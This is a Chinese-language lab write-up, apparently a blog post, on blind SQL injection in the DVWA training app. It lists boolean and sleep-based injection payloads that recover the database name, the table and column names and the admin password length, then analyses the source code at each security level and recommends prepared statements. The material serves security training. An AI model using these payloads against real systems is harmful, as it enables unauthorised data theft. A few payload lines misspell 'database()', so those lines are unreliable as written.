前言
DVWA安装使用介绍,见:【工具-DVWA】DVWA的安装和使用
本渗透系列包含最新DVWA的14个渗透测试样例:
1.Brute Force(暴力破解)
2.Command Injection(命令注入)
3.CSRF(跨站请求伪造)
4.File Inclusion(文件包含)
5.File Upload(文件上传)
6.Insecure CAPTCHA(不安全的验证码)
7.SQL Injection(SQL注入)
8.SQL Injection(Blind)(SQL盲注)
9.Weak Session IDs(有问题的会话ID)
10.XSS(DOM)(DOM型xss)
11.XSS(ref)(反射型xss)
12.XSS(Stored)(存储型xss)
13.CSP Bypass(Content Security Policy内容安全策略,旁路/绕过)
14.JavaScript
安全级别分低、中、高、安全四个级别来分析SQL Injection(Blind)的渗透测试过程。
1 基础知识
- SQL Injection(Blind)-SQL盲注
相对于正常的SQL注入,盲注是无法直接看到注入结果,只能通过特殊测试手段去猜解。
- 盲注过程
- 判断是否有SQL注入漏洞
- 获取当前数据库
- 获取数据库中的表
- 获取表中的字段名
- 获取表中的数据
- 常用MySQL注入函数
- length:获取查询结果的长度
- ascii:获取某个字符的10进制的值
- substr:从结果中截取某个范围的字符
- databse:获取当前数据库名
- if(逻辑表达式,true执行,false执行):三元表达式
- sleep:休眠测试
2 Low+Medium+High
由于四种级别的处理方式基本和SQL注入里的相似,所以合并为一个小节,主要关注盲注的渗透过程。
2.1 渗透测试
- 确认有SQL注入漏洞,使用【#】截断后续SQL语句
1' and 1=1 #
或者
1' and sleep(5) #
- 获取当前数据库:dvwa
第一步:获取数据库名的长度
1' and length(database())=3 # Missing
1' and length(database())=4 # Exist
或
1' and if(length(database())=3,sleep(5),1) # 立即返回结果
1' and if(length(database())=4,sleep(5),1) # 延迟返回结果
第二步:获取数据库名:依次获取库名的每个字符的值
可以采用二分查找来选择范围判断数字,最终范围缩小到一个值(按范围48-57:数字;65-90:大写字母;97-122:小写字母)
1' and ascii(substr(databse(),1,1))<97 # Missing
1' and ascii(substr(databse(),1,1))<110 # Exist
......
1' and ascii(substr(databse(),1,1))<100 # Missing
1' and ascii(substr(databse(),1,1))>100 # Missing--first code:d
......
1' and ascii(substr(database(),2,1))=118 # Exist--second code:v
......
1' and ascii(substr(database(),3,1))=119 # Exist--third code:w
......
1' and ascii(substr(database(),4,1))=97 # Exist--fourth code:a
- 获取数据库中的表
第一步,获取库中表的数量:得出数量为2
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 # Missing
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 # Exist
第二步,获取各个表名的长度:类似获取库名长度
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #
第三步,猜解各个表名:类似猜解库名
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #
最终猜解出两个表名:guestbook、users
- 获取表中的字段名
第一步,获取表中字段数量:得出数量为8个
1' and (select count(column_name) from information_schema.columns where table_name= 'users')=8 #
第二步,获取每个字段名长度:类似获取表名长度
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7 #
第三步,猜解每个字段的每个字符:
1' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='users'LIMIT 1),1,1))=117 #
最终可以得到每个字段的每个字符(最好还是用sqlmap等注入工具来做,不然太多了......,后续会补充使用sqlmap盲注文章)
- 获取表中的数据
如:获取admin的密码字段长度是多少,然后在依次猜解每个字符是什么。
1' AND LENGTH(SUBSTR((SELECT PASSWORD FROM users WHERE USER='admin' LIMIT 0,1),1))=32 #
2.2 源码分析
- Low:照旧,没有任何安全处理方式。
- Medium:使用了mysql_real_escape_string,对特殊符号\x00,\n,\r,\,’,”,\x1a进行转义,所以可以采用Hex编码绕过。
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id )
- High:弹框式,对盲注工具会有干扰,手动测试无影响;查询无结果,随机休眠0秒或2-4秒,对Sleep测试方式会有干扰;
$id = $_COOKIE[ 'id' ];
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
3 Impossible
源码分析:采用了PDO的方式处理SQL请求,数据与逻辑分离,等同于Java里的预处理。
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
4 总结
还是一句话:没有采用预处理方式的,都可能存在SQL注入漏洞,黑名单总有可能被绕过!
爱家人,爱生活,爱设计,爱编程,拥抱精彩人生!